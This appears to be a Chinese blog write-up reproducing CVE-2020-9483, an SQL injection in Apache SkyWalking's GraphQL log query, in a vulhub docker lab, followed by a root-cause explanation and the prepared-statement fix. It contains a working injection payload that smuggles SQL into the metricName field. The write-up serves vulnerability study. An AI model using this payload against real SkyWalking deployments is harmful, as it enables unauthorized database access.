• CVE-2020-9483 apache skywalking SQL注入漏洞


    漏洞概述

    当使用H2 / MySQL / TiDB作为Apache SkyWalking存储时,通过GraphQL协议查询元数据时,存在SQL注入漏洞,该漏洞允许访问未指定的数据。 Apache SkyWalking 6.0.0到6.6.0、7.0.0 H2 / MySQL / TiDB存储实现不使用适当的方法来设置SQL参数。

    环境搭建

    拉取vulhub

    git clone https://github.com/vulhub/vulhub.git
    
    • 1

    搭建镜像

    cd /vulhub/skywalking/8.3.0-sqli
    docker-compose up -d
    
    • 1
    • 2

    在这里插入图片描述
    访问8080端口
    在这里插入图片描述

    漏洞复现

    在首页刷新即可抓到报文。
    在这里插入图片描述

    输入payload

    {
        "query":"query queryLogs($condition: LogQueryCondition) {
      queryLogs(condition: $condition) {
        total
        logs {
          serviceId
          serviceName
          isError
          content
        }
      }
    }
    ",
        "variables":{
            "condition":{
                "metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --",
                            "endpointId":"1",
                        "traceId":"1",
                        "state":"ALL",
                        "stateCode":"1",
                "paging":{
                    "pageSize":10
                }
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    查看返回结果
    在这里插入图片描述
    在这里插入图片描述

    漏洞复现成功

    漏洞原理

    源码:https://github.com/apache/skywalking/releases/tag/v8.3.0
    graphql是skywalking的一种查询协议,如果请求以下列JSON给出:

    {
      bookById(id: "book-1"){
        id
        name
        pageCount
        author {
          firstName
          lastName
        }
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    则返回结果为:

    {
      "bookById": {
        "id":"book-1",
        "name":"Harry Potter and the Philosopher's Stone",
        "pageCount":223,
        "author": {
          "firstName":"Joanne",
          "lastName":"Rowling"
        }
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    通常,graphql中会对对象类型进行定义:

    type Query {
      bookById(id: ID): Book
    }
    
    type Book {
      id: ID
      name: String
      pageCount: Int
      author: Author
    }
    
    type Author {
      id: ID
      firstName: String
      lastName: String
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    此次产生漏洞的queryLogs为:
    oap-server\server-query-plugin\query-graphql-plugin\src\main\resources\query-protocol\log.graphqls:
    (这里不知道为什么下载的源码中没有,只能跑到github上看)
    在这里插入图片描述

    oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java
    在这里插入图片描述

    oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java
    在这里插入图片描述

    采取了直接拼接的方式。

    5、修复方法
    修复后使用了占位符,即预编译。

  • 相关阅读:
    BuyVM 挂载存储块
    Altium Designer实用系列(四)----Ultra Librarian 下载芯片原理图库及封装并导入AD
    linux进程间通讯--信号量
    JSP内置对象及作用域(三)
    安装配置MySQL
    安达发|APS软件系统的发展进化史
    流水线的实现
    【商业论证】
    jvm摘要
    配置命令别名
  • 原文地址:https://blog.csdn.net/mirocky/article/details/133810786